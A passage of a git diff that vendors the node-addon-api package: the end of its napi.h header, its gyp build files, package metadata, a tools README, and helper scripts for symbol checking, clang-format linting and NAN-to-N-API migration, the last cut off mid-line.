finalizeCallback, + FinalizerDataType* data = nullptr); +#endif + + // This API may only be called from the main thread. + // Creates a new threadsafe function with: + // Callback [passed] Resource [missing] Finalizer [missing] + template + static TypedThreadSafeFunction New( + napi_env env, + const Function& callback, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context = nullptr); + + // This API may only be called from the main thread. + // Creates a new threadsafe function with: + // Callback [passed] Resource [passed] Finalizer [missing] + template + static TypedThreadSafeFunction New( + napi_env env, + const Function& callback, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context = nullptr); + + // This API may only be called from the main thread. + // Creates a new threadsafe function with: + // Callback [passed] Resource [missing] Finalizer [passed] + template + static TypedThreadSafeFunction New( + napi_env env, + const Function& callback, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context, + Finalizer finalizeCallback, + FinalizerDataType* data = nullptr); + + // This API may only be called from the main thread. + // Creates a new threadsafe function with: + // Callback [passed] Resource [passed] Finalizer [passed] + template + static TypedThreadSafeFunction New( + napi_env env, + CallbackType callback, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context, + Finalizer finalizeCallback, + FinalizerDataType* data = nullptr); + + TypedThreadSafeFunction(); + TypedThreadSafeFunction(napi_threadsafe_function tsFunctionValue); + + operator napi_threadsafe_function() const; + + // This API may be called from any thread. + napi_status BlockingCall(DataType* data = nullptr) const; + + // This API may be called from any thread. + napi_status NonBlockingCall(DataType* data = nullptr) const; + + // This API may only be called from the main thread. + void Ref(napi_env env) const; + + // This API may only be called from the main thread. + void Unref(napi_env env) const; + + // This API may be called from any thread. + napi_status Acquire() const; + + // This API may be called from any thread. + napi_status Release() const; + + // This API may be called from any thread. + napi_status Abort() const; + + // This API may be called from any thread. + ContextType* GetContext() const; + + private: + template + static TypedThreadSafeFunction New( + napi_env env, + const Function& callback, + const Object& resource, + ResourceString resourceName, + size_t maxQueueSize, + size_t initialThreadCount, + ContextType* context, + Finalizer finalizeCallback, + FinalizerDataType* data, + napi_finalize wrapper); + + static void CallJsInternal(napi_env env, + napi_value jsCallback, + void* context, + void* data); + + protected: + napi_threadsafe_function _tsfn; +}; +template +class AsyncProgressWorkerBase : public AsyncWorker { + public: + virtual void OnWorkProgress(DataType* data) = 0; + class ThreadSafeData { + public: + ThreadSafeData(AsyncProgressWorkerBase* asyncprogressworker, DataType* data) + : _asyncprogressworker(asyncprogressworker), _data(data) {} + + AsyncProgressWorkerBase* asyncprogressworker() { + return _asyncprogressworker; + }; + DataType* data() { return _data; }; + + private: + AsyncProgressWorkerBase* _asyncprogressworker; + DataType* _data; + }; + void OnWorkComplete(Napi::Env env, napi_status status) override; + + protected: + explicit AsyncProgressWorkerBase(const Object& receiver, + const Function& callback, + const char* resource_name, + const Object& resource, + size_t queue_size = 1); + virtual ~AsyncProgressWorkerBase(); + +// Optional callback of Napi::ThreadSafeFunction only available after +// NAPI_VERSION 4. Refs: https://github.com/nodejs/node/pull/27791 +#if NAPI_VERSION > 4 + explicit AsyncProgressWorkerBase(Napi::Env env, + const char* resource_name, + const Object& resource, + size_t queue_size = 1); +#endif + + static inline void OnAsyncWorkProgress(Napi::Env env, + Napi::Function jsCallback, + void* data); + + napi_status NonBlockingCall(DataType* data); + + private: + ThreadSafeFunction _tsfn; + bool _work_completed = false; + napi_status _complete_status; + static inline void OnThreadSafeFunctionFinalize( + Napi::Env env, void* data, AsyncProgressWorkerBase* context); +}; + +template +class AsyncProgressWorker : public AsyncProgressWorkerBase { + public: + virtual ~AsyncProgressWorker(); + + class ExecutionProgress { + friend class AsyncProgressWorker; + + public: + void Signal() const; + void Send(const T* data, size_t count) const; + + private: + explicit ExecutionProgress(AsyncProgressWorker* worker) : _worker(worker) {} + AsyncProgressWorker* const _worker; + }; + + void OnWorkProgress(void*) override; + + protected: + explicit AsyncProgressWorker(const Function& callback); + explicit AsyncProgressWorker(const Function& callback, + const char* resource_name); + explicit AsyncProgressWorker(const Function& callback, + const char* resource_name, + const Object& resource); + explicit AsyncProgressWorker(const Object& receiver, + const Function& callback); + explicit AsyncProgressWorker(const Object& receiver, + const Function& callback, + const char* resource_name); + explicit AsyncProgressWorker(const Object& receiver, + const Function& callback, + const char* resource_name, + const Object& resource); + +// Optional callback of Napi::ThreadSafeFunction only available after +// NAPI_VERSION 4. Refs: https://github.com/nodejs/node/pull/27791 +#if NAPI_VERSION > 4 + explicit AsyncProgressWorker(Napi::Env env); + explicit AsyncProgressWorker(Napi::Env env, const char* resource_name); + explicit AsyncProgressWorker(Napi::Env env, + const char* resource_name, + const Object& resource); +#endif + virtual void Execute(const ExecutionProgress& progress) = 0; + virtual void OnProgress(const T* data, size_t count) = 0; + + private: + void Execute() override; + void Signal(); + void SendProgress_(const T* data, size_t count); + + std::mutex _mutex; + T* _asyncdata; + size_t _asyncsize; + bool _signaled; +}; + +template +class AsyncProgressQueueWorker + : public AsyncProgressWorkerBase> { + public: + virtual ~AsyncProgressQueueWorker(){}; + + class ExecutionProgress { + friend class AsyncProgressQueueWorker; + + public: + void Signal() const; + void Send(const T* data, size_t count) const; + + private: + explicit ExecutionProgress(AsyncProgressQueueWorker* worker) + : _worker(worker) {} + AsyncProgressQueueWorker* const _worker; + }; + + void OnWorkComplete(Napi::Env env, napi_status status) override; + void OnWorkProgress(std::pair*) override; + + protected: + explicit AsyncProgressQueueWorker(const Function& callback); + explicit AsyncProgressQueueWorker(const Function& callback, + const char* resource_name); + explicit AsyncProgressQueueWorker(const Function& callback, + const char* resource_name, + const Object& resource); + explicit AsyncProgressQueueWorker(const Object& receiver, + const Function& callback); + explicit AsyncProgressQueueWorker(const Object& receiver, + const Function& callback, + const char* resource_name); + explicit AsyncProgressQueueWorker(const Object& receiver, + const Function& callback, + const char* resource_name, + const Object& resource); + +// Optional callback of Napi::ThreadSafeFunction only available after +// NAPI_VERSION 4. Refs: https://github.com/nodejs/node/pull/27791 +#if NAPI_VERSION > 4 + explicit AsyncProgressQueueWorker(Napi::Env env); + explicit AsyncProgressQueueWorker(Napi::Env env, const char* resource_name); + explicit AsyncProgressQueueWorker(Napi::Env env, + const char* resource_name, + const Object& resource); +#endif + virtual void Execute(const ExecutionProgress& progress) = 0; + virtual void OnProgress(const T* data, size_t count) = 0; + + private: + void Execute() override; + void Signal() const; + void SendProgress_(const T* data, size_t count); +}; +#endif // NAPI_VERSION > 3 && NAPI_HAS_THREADS + +// Memory management. +class MemoryManagement { + public: + static int64_t AdjustExternalMemory(Env env, int64_t change_in_bytes); +}; + +// Version management +class VersionManagement { + public: + static uint32_t GetNapiVersion(Env env); + static const napi_node_version* GetNodeVersion(Env env); +}; + +#if NAPI_VERSION > 5 +template +class Addon : public InstanceWrap { + public: + static inline Object Init(Env env, Object exports); + static T* Unwrap(Object wrapper); + + protected: + using AddonProp = ClassPropertyDescriptor; + void DefineAddon(Object exports, + const std::initializer_list& props); + Napi::Object DefineProperties(Object object, + const std::initializer_list& props); + + private: + Object entry_point_; +}; +#endif // NAPI_VERSION > 5 + +#ifdef NAPI_CPP_CUSTOM_NAMESPACE +} // namespace NAPI_CPP_CUSTOM_NAMESPACE +#endif + +} // namespace Napi + +// Inline implementations of all the above class methods are included here. +#include "napi-inl.h" + +#endif // SRC_NAPI_H_ diff --git a/env_xbb_lastest_jsdom/node_modules/node-addon-api/node_api.gyp b/env_xbb_lastest_jsdom/node_modules/node-addon-api/node_api.gyp new file mode 100644 index 00000000..4ff0ae7d --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/node-addon-api/node_api.gyp @@ -0,0 +1,9 @@ +{ + 'targets': [ + { + 'target_name': 'nothing', + 'type': 'static_library', + 'sources': [ 'nothing.c' ] + } + ] +} diff --git a/env_xbb_lastest_jsdom/node_modules/node-addon-api/noexcept.gypi b/env_xbb_lastest_jsdom/node_modules/node-addon-api/noexcept.gypi new file mode 100644 index 00000000..404a05f3 --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/node-addon-api/noexcept.gypi @@ -0,0 +1,26 @@ +{ + 'defines': [ 'NAPI_DISABLE_CPP_EXCEPTIONS' ], + 'cflags': [ '-fno-exceptions' ], + 'cflags_cc': [ '-fno-exceptions' ], + 'conditions': [ + ["OS=='win'", { + # _HAS_EXCEPTIONS is already defined and set to 0 in common.gypi + #"defines": [ + # "_HAS_EXCEPTIONS=0" + #], + "msvs_settings": { + "VCCLCompilerTool": { + 'ExceptionHandling': 0, + 'EnablePREfast': 'true', + }, + }, + }], + ["OS=='mac'", { + 'xcode_settings': { + 'CLANG_CXX_LIBRARY': 'libc++', + 'MACOSX_DEPLOYMENT_TARGET': '10.7', + 'GCC_ENABLE_CPP_EXCEPTIONS': 'NO', + }, + }], + ], +} diff --git a/env_xbb_lastest_jsdom/node_modules/node-addon-api/nothing.c b/env_xbb_lastest_jsdom/node_modules/node-addon-api/nothing.c new file mode 100644 index 00000000..e69de29b diff --git a/env_xbb_lastest_jsdom/node_modules/node-addon-api/package-support.json b/env_xbb_lastest_jsdom/node_modules/node-addon-api/package-support.json new file mode 100644 index 00000000..10d3607a --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/node-addon-api/package-support.json @@ -0,0 +1,21 @@ +{ + "versions": [ + { + "version": "*", + "target": { + "node": "active" + }, + "response": { + "type": "time-permitting", + "paid": false, + "contact": { + "name": "node-addon-api team", + "url": "https://github.com/nodejs/node-addon-api/issues" + } + }, + "backing": [ { "project": "https://github.com/nodejs" }, + { "foundation": "https://openjsf.org/" } + ] + } + ] +} diff --git a/env_xbb_lastest_jsdom/node_modules/node-addon-api/package.json b/env_xbb_lastest_jsdom/node_modules/node-addon-api/package.json new file mode 100644 index 00000000..0bd3933a --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/node-addon-api/package.json @@ -0,0 +1,464 @@ +{ + "bugs": { + "url": "https://github.com/nodejs/node-addon-api/issues" + }, + "contributors": [ + { + "name": "Abhishek Kumar Singh", + "url": "https://github.com/abhi11210646" + }, + { + "name": "Alba Mendez", + "url": "https://github.com/jmendeth" + }, + { + "name": "Alexander Floh", + "url": "https://github.com/alexanderfloh" + }, + { + "name": "Ammar Faizi", + "url": "https://github.com/ammarfaizi2" + }, + { + "name": "András Timár, Dr", + "url": "https://github.com/timarandras" + }, + { + "name": "Andrew Petersen", + "url": "https://github.com/kirbysayshi" + }, + { + "name": "Anisha Rohra", + "url": "https://github.com/anisha-rohra" + }, + { + "name": "Anna Henningsen", + "url": "https://github.com/addaleax" + }, + { + "name": "Arnaud Botella", + "url": "https://github.com/BotellaA" + }, + { + "name": "Arunesh Chandra", + "url": "https://github.com/aruneshchandra" + }, + { + "name": "Azlan Mukhtar", + "url": "https://github.com/azlan" + }, + { + "name": "Ben Berman", + "url": "https://github.com/rivertam" + }, + { + "name": "Benjamin Byholm", + "url": "https://github.com/kkoopa" + }, + { + "name": "Bill Gallafent", + "url": "https://github.com/gallafent" + }, + { + "name": "blagoev", + "url": "https://github.com/blagoev" + }, + { + "name": "Bruce A. MacNaughton", + "url": "https://github.com/bmacnaughton" + }, + { + "name": "Cory Mickelson", + "url": "https://github.com/corymickelson" + }, + { + "name": "Daniel Bevenius", + "url": "https://github.com/danbev" + }, + { + "name": "Dante Calderón", + "url": "https://github.com/dantehemerson" + }, + { + "name": "Darshan Sen", + "url": "https://github.com/RaisinTen" + }, + { + "name": "David Halls", + "url": "https://github.com/davedoesdev" + }, + { + "name": "Deepak Rajamohan", + "url": "https://github.com/deepakrkris" + }, + { + "name": "Dmitry Ashkadov", + "url": "https://github.com/dmitryash" + }, + { + "name": "Dongjin Na", + "url": "https://github.com/nadongguri" + }, + { + "name": "Doni Rubiagatra", + "url": "https://github.com/rubiagatra" + }, + { + "name": "Eric Bickle", + "url": "https://github.com/ebickle" + }, + { + "name": "extremeheat", + "url": "https://github.com/extremeheat" + }, + { + "name": "Feng Yu", + "url": "https://github.com/F3n67u" + }, + { + "name": "Ferdinand Holzer", + "url": "https://github.com/fholzer" + }, + { + "name": "Gabriel Schulhof", + "url": "https://github.com/gabrielschulhof" + }, + { + "name": "Guenter Sandner", + "url": "https://github.com/gms1" + }, + { + "name": "Gus Caplan", + "url": "https://github.com/devsnek" + }, + { + "name": "Helio Frota", + "url": "https://github.com/helio-frota" + }, + { + "name": "Hitesh Kanwathirtha", + "url": "https://github.com/digitalinfinity" + }, + { + "name": "ikokostya", + "url": "https://github.com/ikokostya" + }, + { + "name": "Jack Xia", + "url": "https://github.com/JckXia" + }, + { + "name": "Jake Barnes", + "url": "https://github.com/DuBistKomisch" + }, + { + "name": "Jake Yoon", + "url": "https://github.com/yjaeseok" + }, + { + "name": "Jason Ginchereau", + "url": "https://github.com/jasongin" + }, + { + "name": "Jenny", + "url": "https://github.com/egg-bread" + }, + { + "name": "Jeroen Janssen", + "url": "https://github.com/japj" + }, + { + "name": "Jim Schlight", + "url": "https://github.com/jschlight" + }, + { + "name": "Jinho Bang", + "url": "https://github.com/romandev" + }, + { + "name": "José Expósito", + "url": "https://github.com/JoseExposito" + }, + { + "name": "joshgarde", + "url": "https://github.com/joshgarde" + }, + { + "name": "Julian Mesa", + "url": "https://github.com/julianmesa-gitkraken" + }, + { + "name": "Kasumi Hanazuki", + "url": "https://github.com/hanazuki" + }, + { + "name": "Kelvin", + "url": "https://github.com/kelvinhammond" + }, + { + "name": "Kevin Eady", + "url": "https://github.com/KevinEady" + }, + { + "name": "Kévin VOYER", + "url": "https://github.com/kecsou" + }, + { + "name": "kidneysolo", + "url": "https://github.com/kidneysolo" + }, + { + "name": "Koki Nishihara", + "url": "https://github.com/Nishikoh" + }, + { + "name": "Konstantin Tarkus", + "url": "https://github.com/koistya" + }, + { + "name": "Kyle Farnung", + "url": "https://github.com/kfarnung" + }, + { + "name": "Kyle Kovacs", + "url": "https://github.com/nullromo" + }, + { + "name": "legendecas", + "url": "https://github.com/legendecas" + }, + { + "name": "LongYinan", + "url": "https://github.com/Brooooooklyn" + }, + { + "name": "Lovell Fuller", + "url": "https://github.com/lovell" + }, + { + "name": "Luciano Martorella", + "url": "https://github.com/lmartorella" + }, + { + "name": "mastergberry", + "url": "https://github.com/mastergberry" + }, + { + "name": "Mathias Küsel", + "url": "https://github.com/mathiask88" + }, + { + "name": "Mathias Stearn", + "url": "https://github.com/RedBeard0531" + }, + { + "name": "Matteo Collina", + "url": "https://github.com/mcollina" + }, + { + "name": "Michael Dawson", + "url": "https://github.com/mhdawson" + }, + { + "name": "Michael Price", + "url": "https://github.com/mikepricedev" + }, + { + "name": "Michele Campus", + "url": "https://github.com/kYroL01" + }, + { + "name": "Mikhail Cheshkov", + "url": "https://github.com/mcheshkov" + }, + { + "name": "nempoBu4", + "url": "https://github.com/nempoBu4" + }, + { + "name": "Nicola Del Gobbo", + "url": "https://github.com/NickNaso" + }, + { + "name": "Nick Soggin", + "url": "https://github.com/iSkore" + }, + { + "name": "Nikolai Vavilov", + "url": "https://github.com/seishun" + }, + { + "name": "Nurbol Alpysbayev", + "url": "https://github.com/anurbol" + }, + { + "name": "pacop", + "url": "https://github.com/pacop" + }, + { + "name": "Peter Šándor", + "url": "https://github.com/petersandor" + }, + { + "name": "Philipp Renoth", + "url": "https://github.com/DaAitch" + }, + { + "name": "rgerd", + "url": "https://github.com/rgerd" + }, + { + "name": "Richard Lau", + "url": "https://github.com/richardlau" + }, + { + "name": "Rolf Timmermans", + "url": "https://github.com/rolftimmermans" + }, + { + "name": "Ross Weir", + "url": "https://github.com/ross-weir" + }, + { + "name": "Ryuichi Okumura", + "url": "https://github.com/okuryu" + }, + { + "name": "Saint Gabriel", + "url": "https://github.com/chineduG" + }, + { + "name": "Sampson Gao", + "url": "https://github.com/sampsongao" + }, + { + "name": "Sam Roberts", + "url": "https://github.com/sam-github" + }, + { + "name": "strager", + "url": "https://github.com/strager" + }, + { + "name": "Taylor Woll", + "url": "https://github.com/boingoing" + }, + { + "name": "Thomas Gentilhomme", + "url": "https://github.com/fraxken" + }, + { + "name": "Tim Rach", + "url": "https://github.com/timrach" + }, + { + "name": "Tobias Nießen", + "url": "https://github.com/tniessen" + }, + { + "name": "todoroff", + "url": "https://github.com/todoroff" + }, + { + "name": "Toyo Li", + "url": "https://github.com/toyobayashi" + }, + { + "name": "Tux3", + "url": "https://github.com/tux3" + }, + { + "name": "Vlad Velmisov", + "url": "https://github.com/Velmisov" + }, + { + "name": "Vladimir Morozov", + "url": "https://github.com/vmoroz" + + }, + { + "name": "WenheLI", + "url": "https://github.com/WenheLI" + }, + { + "name": "Xuguang Mei", + "url": "https://github.com/meixg" + }, + { + "name": "Yohei Kishimoto", + "url": "https://github.com/morokosi" + }, + { + "name": "Yulong Wang", + "url": "https://github.com/fs-eire" + }, + { + "name": "Ziqiu Zhao", + "url": "https://github.com/ZzqiZQute" + }, + { + "name": "Feng Yu", + "url": "https://github.com/F3n67u" + } + ], + "description": "Node.js API (Node-API)", + "devDependencies": { + "benchmark": "^2.1.4", + "bindings": "^1.5.0", + "clang-format": "^1.4.0", + "eslint": "^7.32.0", + "eslint-config-semistandard": "^16.0.0", + "eslint-config-standard": "^16.0.3", + "eslint-plugin-import": "^2.24.2", + "eslint-plugin-node": "^11.1.0", + "eslint-plugin-promise": "^5.1.0", + "fs-extra": "^9.0.1", + "path": "^0.12.7", + "pre-commit": "^1.2.2", + "safe-buffer": "^5.1.1" + }, + "directories": {}, + "gypfile": false, + "homepage": "https://github.com/nodejs/node-addon-api", + "keywords": [ + "n-api", + "napi", + "addon", + "native", + "bindings", + "c", + "c++", + "nan", + "node-addon-api" + ], + "license": "MIT", + "main": "index.js", + "name": "node-addon-api", + "readme": "README.md", + "repository": { + "type": "git", + "url": "git://github.com/nodejs/node-addon-api.git" + }, + "files": [ + "*.{c,h,gyp,gypi}", + "package-support.json", + "tools/" + ], + "scripts": { + "prebenchmark": "node-gyp rebuild -C benchmark", + "benchmark": "node benchmark", + "pretest": "node-gyp rebuild -C test", + "test": "node test", + "test:debug": "node-gyp rebuild -C test --debug && NODE_API_BUILD_CONFIG=Debug node ./test/index.js", + "predev": "node-gyp rebuild -C test --debug", + "dev": "node test", + "predev:incremental": "node-gyp configure build -C test --debug", + "dev:incremental": "node test", + "doc": "doxygen doc/Doxyfile", + "lint": "node tools/eslint-format && node tools/clang-format", + "lint:fix": "node tools/clang-format --fix && node tools/eslint-format --fix" + }, + "pre-commit": "lint", + "version": "6.1.0", + "support": true +} diff --git a/env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/README.md b/env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/README.md new file mode 100644 index 00000000..6b80e94f --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/README.md @@ -0,0 +1,73 @@ +# Tools + +## clang-format + +The clang-format checking tools is designed to check changed lines of code compared to given git-refs. + +## Migration Script + +The migration tool is designed to reduce repetitive work in the migration process. However, the script is not aiming to convert every thing for you. There are usually some small fixes and major reconstruction required. + +### How To Use + +To run the conversion script, first make sure you have the latest `node-addon-api` in your `node_modules` directory. +``` +npm install node-addon-api +``` + +Then run the script passing your project directory +``` +node ./node_modules/node-addon-api/tools/conversion.js ./ +``` + +After finish, recompile and debug things that are missed by the script. + + +### Quick Fixes +Here is the list of things that can be fixed easily. + 1. Change your methods' return value to void if it doesn't return value to JavaScript. + 2. Use `.` to access attribute or to invoke member function in Napi::Object instead of `->`. + 3. `Napi::New(env, value);` to `Napi::[Type]::New(env, value); + + +### Major Reconstructions +The implementation of `Napi::ObjectWrap` is significantly different from NAN's. `Napi::ObjectWrap` takes a pointer to the wrapped object and creates a reference to the wrapped object inside ObjectWrap constructor. `Napi::ObjectWrap` also associates wrapped object's instance methods to Javascript module instead of static methods like NAN. + +So if you use Nan::ObjectWrap in your module, you will need to execute the following steps. + + 1. Convert your [ClassName]::New function to a constructor function that takes a `Napi::CallbackInfo`. Declare it as +``` +[ClassName](const Napi::CallbackInfo& info); +``` +and define it as +``` +[ClassName]::[ClassName](const Napi::CallbackInfo& info) : Napi::ObjectWrap<[ClassName]>(info){ + ... +} +``` +This way, the `Napi::ObjectWrap` constructor will be invoked after the object has been instantiated and `Napi::ObjectWrap` can use the `this` pointer to create a reference to the wrapped object. + + 2. Move your original constructor code into the new constructor. Delete your original constructor. + 3. In your class initialization function, associate native methods in the following way. +``` +Napi::FunctionReference constructor; + +void [ClassName]::Init(Napi::Env env, Napi::Object exports, Napi::Object module) { + Napi::HandleScope scope(env); + Napi::Function ctor = DefineClass(env, "Canvas", { + InstanceMethod<&[ClassName]::Func1>("Func1"), + InstanceMethod<&[ClassName]::Func2>("Func2"), + InstanceAccessor<&[ClassName]::ValueGetter>("Value"), + StaticMethod<&[ClassName]::StaticMethod>("MethodName"), + InstanceValue("Value", Napi::[Type]::New(env, value)), + }); + + constructor = Napi::Persistent(ctor); + constructor .SuppressDestruct(); + exports.Set("[ClassName]", ctor); +} +``` + 4. In function where you need to Unwrap the ObjectWrap in NAN like `[ClassName]* native = Nan::ObjectWrap::Unwrap<[ClassName]>(info.This());`, use `this` pointer directly as the unwrapped object as each ObjectWrap instance is associated with a unique object instance. + + +If you still find issues after following this guide, please leave us an issue describing your problem and we will try to resolve it. diff --git a/env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/check-napi.js b/env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/check-napi.js new file mode 100644 index 00000000..9199af33 --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/check-napi.js @@ -0,0 +1,99 @@ +'use strict'; +// Descend into a directory structure and, for each file matching *.node, output +// based on the imports found in the file whether it's an N-API module or not. + +const fs = require('fs'); +const path = require('path'); + +// Read the output of the command, break it into lines, and use the reducer to +// decide whether the file is an N-API module or not. +function checkFile (file, command, argv, reducer) { + const child = require('child_process').spawn(command, argv, { + stdio: ['inherit', 'pipe', 'inherit'] + }); + let leftover = ''; + let isNapi; + child.stdout.on('data', (chunk) => { + if (isNapi === undefined) { + chunk = (leftover + chunk.toString()).split(/[\r\n]+/); + leftover = chunk.pop(); + isNapi = chunk.reduce(reducer, isNapi); + if (isNapi !== undefined) { + child.kill(); + } + } + }); + child.on('close', (code, signal) => { + if ((code === null && signal !== null) || (code !== 0)) { + console.log( + command + ' exited with code: ' + code + ' and signal: ' + signal); + } else { + // Green if it's a N-API module, red otherwise. + console.log( + '\x1b[' + (isNapi ? '42' : '41') + 'm' + + (isNapi ? ' N-API' : 'Not N-API') + + '\x1b[0m: ' + file); + } + }); +} + +// Use nm -a to list symbols. +function checkFileUNIX (file) { + checkFile(file, 'nm', ['-a', file], (soFar, line) => { + if (soFar === undefined) { + line = line.match(/([0-9a-f]*)? ([a-zA-Z]) (.*$)/); + if (line[2] === 'U') { + if (/^napi/.test(line[3])) { + soFar = true; + } + } + } + return soFar; + }); +} + +// Use dumpbin /imports to list symbols. +function checkFileWin32 (file) { + checkFile(file, 'dumpbin', ['/imports', file], (soFar, line) => { + if (soFar === undefined) { + line = line.match(/([0-9a-f]*)? +([a-zA-Z0-9]) (.*$)/); + if (line && /^napi/.test(line[line.length - 1])) { + soFar = true; + } + } + return soFar; + }); +} + +// Descend into a directory structure and pass each file ending in '.node' to +// one of the above checks, depending on the OS. +function recurse (top) { + fs.readdir(top, (error, items) => { + if (error) { + throw new Error('error reading directory ' + top + ': ' + error); + } + items.forEach((item) => { + item = path.join(top, item); + fs.stat(item, ((item) => (error, stats) => { + if (error) { + throw new Error('error about ' + item + ': ' + error); + } + if (stats.isDirectory()) { + recurse(item); + } else if (/[.]node$/.test(item) && + // Explicitly ignore files called 'nothing.node' because they are + // artefacts of node-addon-api having identified a version of + // Node.js that ships with a correct implementation of N-API. + path.basename(item) !== 'nothing.node') { + process.platform === 'win32' + ? checkFileWin32(item) + : checkFileUNIX(item); + } + })(item)); + }); + }); +} + +// Start with the directory given on the command line or the current directory +// if nothing was given. +recurse(process.argv.length > 3 ? process.argv[2] : '.'); diff --git a/env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/clang-format.js b/env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/clang-format.js new file mode 100644 index 00000000..e4bb4f52 --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/clang-format.js @@ -0,0 +1,71 @@ +#!/usr/bin/env node + +const spawn = require('child_process').spawnSync; +const path = require('path'); + +const filesToCheck = ['*.h', '*.cc']; +const FORMAT_START = process.env.FORMAT_START || 'main'; + +function main (args) { + let fix = false; + while (args.length > 0) { + switch (args[0]) { + case '-f': + case '--fix': + fix = true; + break; + default: + } + args.shift(); + } + + const clangFormatPath = path.dirname(require.resolve('clang-format')); + const binary = process.platform === 'win32' + ? 'node_modules\\.bin\\clang-format.cmd' + : 'node_modules/.bin/clang-format'; + const options = ['--binary=' + binary, '--style=file']; + if (fix) { + options.push(FORMAT_START); + } else { + options.push('--diff', FORMAT_START); + } + + const gitClangFormatPath = path.join(clangFormatPath, 'bin/git-clang-format'); + const result = spawn( + 'python', + [gitClangFormatPath, ...options, '--', ...filesToCheck], + { encoding: 'utf-8' } + ); + + if (result.stderr) { + console.error('Error running git-clang-format:', result.stderr); + return 2; + } + + const clangFormatOutput = result.stdout.trim(); + // Bail fast if in fix mode. + if (fix) { + console.log(clangFormatOutput); + return 0; + } + // Detect if there is any complains from clang-format + if ( + clangFormatOutput !== '' && + clangFormatOutput !== 'no modified files to format' && + clangFormatOutput !== 'clang-format did not modify any files' + ) { + console.error(clangFormatOutput); + const fixCmd = 'npm run lint:fix'; + console.error(` + ERROR: please run "${fixCmd}" to format changes in your commit + Note that when running the command locally, please keep your local + main branch and working branch up to date with nodejs/node-addon-api + to exclude un-related complains. + Or you can run "env FORMAT_START=upstream/main ${fixCmd}".`); + return 1; + } +} + +if (require.main === module) { + process.exitCode = main(process.argv.slice(2)); +} diff --git a/env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/conversion.js b/env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/conversion.js new file mode 100644 index 00000000..f89245ac --- /dev/null +++ b/env_xbb_lastest_jsdom/node_modules/node-addon-api/tools/conversion.js @@ -0,0 +1,301 @@ +#! /usr/bin/env node + +'use strict'; + +const fs = require('fs'); +const path = require('path'); + +const args = process.argv.slice(2); +const dir = args[0]; +if (!dir) { + console.log('Usage: node ' + path.basename(__filename) + ' '); + process.exit(1); +} + +const NodeApiVersion = require('../package.json').version; + +const disable = args[1]; +let ConfigFileOperations; +if (disable !== '--disable' && dir !== '--disable') { + ConfigFileOperations = { + 'package.json': [ + [/([ ]*)"dependencies": {/g, '$1"dependencies": {\n$1 "node-addon-api": "' + NodeApiVersion + '",'], + [/[ ]*"nan": *"[^"]+"(,|)[\n\r]/g, ''] + ], + 'binding.gyp': [ + [/([ ]*)'include_dirs': \[/g, '$1\'include_dirs\': [\n$1 \'\s+(\w+)\s*=\s*Nan::New\([\w\d:]+\);(?:\w+->Reset\(\1\))?\s+\1->SetClassName\(Nan::String::New\("(\w+)"\)\);/g, 'Napi::Function $1 = DefineClass(env, "$2", {'], + [/Local\s+(\w+)\s*=\s*Nan::New\([\w\d:]+\);\s+(\w+)\.Reset\((\1)\);\s+\1->SetClassName\((Nan::String::New|Nan::New<(v8::)*String>)\("(.+?)"\)\);/g, 'Napi::Function $1 = DefineClass(env, "$6", {'], + [/Local\s+(\w+)\s*=\s*Nan::New\([\w\d:]+\);(?:\w+->Reset\(\1\))?\s+\1->SetClassName\(Nan::String::New\("(\w+)"\)\);/g, 'Napi::Function $1 = DefineClass(env, "$2", {'], + [/Nan::New\(([\w\d:]+)\)->GetFunction\(\)/g, 'Napi::Function::New(env, $1)'], + [/Nan::New\(([\w\d:]+)\)->GetFunction()/g, 'Napi::Function::New(env, $1);'], + [/Nan::New\(([\w\d:]+)\)/g, 'Napi::Function::New(env, $1)'], + [/Nan::New\(([\w\d:]+)\)/g, 'Napi::Function::New(env, $1)'], + + // FunctionTemplate to FunctionReference + [/Nan::Persistent<(v8::)*FunctionTemplate>/g, 'Napi::FunctionReference'], + [/Nan::Persistent<(v8::)*Function>/g, 'Napi::FunctionReference'], + [/v8::Local/g, 'Napi::FunctionReference'], + [/Local/g, 'Napi::FunctionReference'], + [/v8::FunctionTemplate/g, 'Napi::FunctionReference'], + [/FunctionTemplate/g, 'Napi::FunctionReference'], + + [/([ ]*)Nan::SetPrototypeMethod\(\w+, "(\w+)", (\w+)\);/g, '$1InstanceMethod("$2", &$3),'], + [/([ ]*)(?:\w+\.Reset\(\w+\);\s+)?\(target\)\.Set\("(\w+)",\s*Nan::GetFunction\((\w+)\)\);/gm, + '});\n\n' + + '$1constructor = Napi::Persistent($3);\n' + + '$1constructor.SuppressDestruct();\n' + + '$1target.Set("$2", $3);'], + + // TODO: Other attribute combinations + [/static_cast\(ReadOnly\s*\|\s*DontDelete\)/gm, + 'static_cast(napi_enumerable | napi_configurable)'], + + [/([\w\d:<>]+?)::Cast\((.+?)\)/g, '$2.As<$1>()'], + + [/\*Nan::Utf8String\(([^)]+)\)/g, '$1->As().Utf8Value().c_str()'], + [/Nan::Utf8String +(\w+)\(([^)]+)\)/g, 'std::string $1 = $2.As()'], + [/Nan::Utf8String/g, 'std::string'], + + [/v8::String::Utf8Value (.+?)\((.+?)\)/g, 'Napi::String $1(env, $2)'], + [/String::Utf8Value (.+?)\((.+?)\)/g, 'Napi::String $1(env, $2)'], + [/\.length\(\)/g, '.Length()'], + + [/Nan::MakeCallback\(([^,]+),[\s\\]+([^,]+),/gm, '$2.MakeCallback($1,'], + + [/class\s+(\w+)\s*:\s*public\s+Nan::ObjectWrap/g, 'class $1 : public 